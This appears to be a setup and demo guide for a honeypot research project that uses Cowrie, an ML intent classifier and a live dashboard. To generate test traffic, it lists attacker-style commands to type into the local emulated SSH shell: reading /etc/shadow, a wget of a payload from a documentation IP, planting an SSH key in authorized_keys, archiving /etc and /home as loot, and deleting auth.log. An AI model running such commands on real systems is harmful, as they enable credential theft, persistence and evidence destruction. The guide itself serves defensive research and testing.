Run & Attack Guide

Intent-Aware Deception System for Real-Time Attacker Profiling · generated from docs/RUN_AND_ATTACK_GUIDE.md

---

» Run & Attack Guide -- Intent-Aware Deception System

This is the "just make it work" guide. It assumes nothing. It tells you exactly **where to go**, **what to type**, **how to attack the honeypot**, and **where to look in the dashboard to watch it react in real time.**

Read it top to bottom. Part A gets the system running. Part B attacks it and shows you the live dashboard changes. Part C is troubleshooting.

What you need installed (one time)

Tool	Why	Where to get it
Docker Desktop	Runs the whole system (database + honeypot + backend + dashboard) with one command	https://www.docker.com/products/docker-desktop/ -> install -> **launch it** -> wait until the whale icon says **"Engine running"**
Python 3.12+	Only needed to run the test-attack script	https://www.python.org/downloads/ -> during install, **tick "Add Python to PATH"**

> You do **not** need to install MongoDB, Node.js, or Cowrie yourself. Docker brings all of those inside containers.

PART A -- Get the system running (Docker, recommended)

Step 1 -- Open a terminal *inside the project folder*

1. Open **File Explorer**.
2. Navigate to: `C:\Users\raksh\OneDrive\Desktop\INT-AWARE`
3. Click the **address bar** at the top, type `cmd`, press **Enter**. A black terminal opens, already "inside" the project.

[ok] You're in the right place if the prompt ends with `...\INT-AWARE>`.

Step 2 -- Create your settings file (first time only)

```
copy .env.example .env
```

That's enough to run. *(Optional: open `.env` in Notepad and paste a `GEMINI_API_KEY` if you have one -- the system works fully without it.)*

Step 3 -- Start everything

```
docker compose up -d --build
```

The **first** run takes ~2-4 minutes (it downloads and builds images). Later starts take seconds. When it finishes you'll see `Started` next to **mongo**, **cowrie**, **api**, and **dashboard**.

Check they're all up:

```
docker compose ps
```

Step 4 -- Open the two windows you'll use

- **Dashboard (what you watch):** http://127.0.0.1:5173

- **API + interactive docs:** http://127.0.0.1:8000/docs

The dashboard opens but is **mostly empty** -- a honeypot only shows data once someone attacks it. That's Part B.

PART B -- Attack the honeypot and watch the dashboard react

The system is a **honeypot**: a fake SSH server with no real users, so *everything* sent to it is treated as an attack. You "attack" it, the pipeline classifies each command's **intent**, scores its **risk**, and streams the result to the dashboard **live over WebSocket -- no page refresh needed.**

You have **two ways to attack**. Do Way 1 first (it's proven and drives all 10 intent types). Way 2 is the impressive live hands-on demo for a viva/presentation.

Way 1 -- One command drives all 10 intent types (recommended)

This is the reliable path. A safe Python script opens a real SSH session into the **isolated** honeypot and types 18 attacker commands spanning all 10 intents. Nothing runs on your PC -- Cowrie only *emulates* a shell.

First time only -- set up the helper:

```
python -m venv .venv
```

```
.venv\Scripts\python.exe -m pip install -r requirements.txt
```

Now attack -- before you run it, put the dashboard on screen so you can watch:

```
.venv\Scripts\python.exe scripts/demo_all_intents.py
```

You'll see it type each command with its expected intent, e.g.:

```
1. [RECONNAISSANCE ] $ uname -a 6. [CREDENTIAL_ACCESS ] $ cat /etc/shadow 8. [EXECUTION ] $ wget
http://192.0.2.10/payload.sh -O /tmp/p.sh; ... 14. [EXFILTRATION ] $ tar czf /tmp/loot.tar.gz /etc /home
```

Then prove it end-to-end (optional but great for the report):

```
.venv\Scripts\python.exe scripts/verify_live.py
```

This reads the live API and prints a **PASS/FAIL** verdict -- confirming the ML model is classifying real events (each command labelled `ML` or `HYBRID` with a real confidence).

Way 2 -- Attack it *by hand* (live, command-by-command demo)

This is the one that looks great in front of an examiner: you type a command, then flip to the dashboard and watch that exact event appear a second later.

Windows already has an SSH client built in. Open a terminal and connect to the honeypot:

```
ssh root@127.0.0.1 -p 2222
```

- If it asks *"Are you sure you want to continue connecting?"* -> type `yes`.
- Password: `root`
- You now have a fake root shell **inside the honeypot** (safe -- nothing executes).

Type commands one at a time and watch the dashboard after each. Try these -- each maps to a different intent so you'll see the dashboard light up across categories:

```
whoami
```

```
netstat -antp
```

```
cat /etc/shadow
```

```
wget http://192.0.2.10/payload.sh -O /tmp/p.sh
```

```
sudo su -
```

```
echo 'ssh-rsa AAAAB3Nz attacker' >> /root/.ssh/authorized_keys
```

```
tar czf /tmp/loot.tar.gz /etc /home
```

```
rm -rf /var/log/auth.log
```

Type `exit` when done.

> If your SSH client refuses to connect (older key-exchange complaint), just use **Way 1** -- the Python script handles the handshake itself.

Where to look -- exactly what changes in the dashboard

Keep **http://127.0.0.1:5173** open while you attack. Here's what updates, and where:

Where on the dashboard	What you'll see change	Driven by
Top KPI cards (Total Events, Active Sessions, Critical Alerts...)	Numbers tick up as commands are ingested	`/api/dashboard/stats`
Recent Events / Live Telemetry panel	Each attacker command appears as a new row within ~1-2 s -- **no refresh** -- showing its **intent badge**, **severity**, and a **source badge** (`ML`, `HYBRID`, `RULE`) with the ML confidence %	WebSocket `/ws/events`
Intent Distribution donut	Slices grow/appear as different intents arrive (recon, discovery, credential-access, ...)	`/api/analytics/intents`
Severity / Risk charts	Bars shift toward HIGH/CRITICAL as dangerous commands (exfiltration, persistence) land	`/api/analytics/severity`
Sessions page	A new session row appears with a **dominant intent**, **attack stage**, command count, and a rising **risk score 0-100**	`/api/sessions`
Alerts page	If a session crosses the CRITICAL risk threshold, a **red alert** appears	WebSocket `/ws/alerts`
Attackers page	The source IP shows up as a profile with its session history and peak risk	`/api/attackers`

The story to tell: one attacker connected, ran *reconnaissance*, moved to *discovery*, tried *credential access*, *escalated privilege*, attempted *exfiltration*, then *cleaned up logs* -- and the system inferred that **intent progression**, scored the danger, and raised an alert, all in real time.

Reset between demos

To wipe all captured data and start from an empty dashboard:

```
docker compose down -v
```

```
docker compose up -d --build
```

Then attack again (Part B).

Stopping the system

```
docker compose down
```

(Add `-v` to also delete all captured data.)

PART C -- If something goes wrong

Symptom	Fix
`docker: command not found` / `Cannot connect to the Docker daemon`	Docker Desktop isn't running. Launch it, wait for **"Engine running"**, retry.
Dashboard loads but says it can't reach the backend	Give it 10-20 s after `docker compose up`; the API needs a moment. Then refresh.
Dashboard is empty	You haven't attacked yet -- do **Part B**.
`python: command not found`	Python isn't on PATH. Reinstall and tick **"Add Python to PATH"**, or use the full path to `python.exe`.
SSH (Way 2) refuses to connect	Use **Way 1** (the script handles the handshake).
Port already in use (5173 / 8000 / 2222)	`docker compose down`, close whatever else uses that port, retry.
See what's running	`docker compose ps`
Read live logs	`docker compose logs -f api` (or `dashboard`, `cowrie`, `mongo`)

Address reference

URL / port	What it is
http://127.0.0.1:5173	The analyst **dashboard** (what you watch)
http://127.0.0.1:8000/docs	The **API** with interactive docs
127.0.0.1:2222	The **honeypot** SSH port (you attack here; safe/emulated)
127.0.0.1:27017	MongoDB (internal storage)

Safety (important, and good to state in your report)

- The honeypot only **emulates** a shell -- **no attacker command ever executes** on your machine or the backend. Cowrie is the *only* component that touches attacker input.
- The test attacks use **RFC-5737 documentation IP ranges** (192.0.2.0/24, 198.51.100.0/24) that route nowhere real. No real malicious payloads are run.
- Secrets live only in `.env` (never committed). Gemini is optional; the system runs without it.
- Only ever run this against infrastructure you own. It is a **defensive** research tool.

Alternative: run manually for live code editing (advanced)

If you're changing source code and want hot-reload instead of Docker, see the 4-terminal manual setup in `RUN.md` (Way 2 there): start Cowrie, the backend (`--with-pipeline`), and the Vite dev server in separate terminals, then attack with the same scripts above.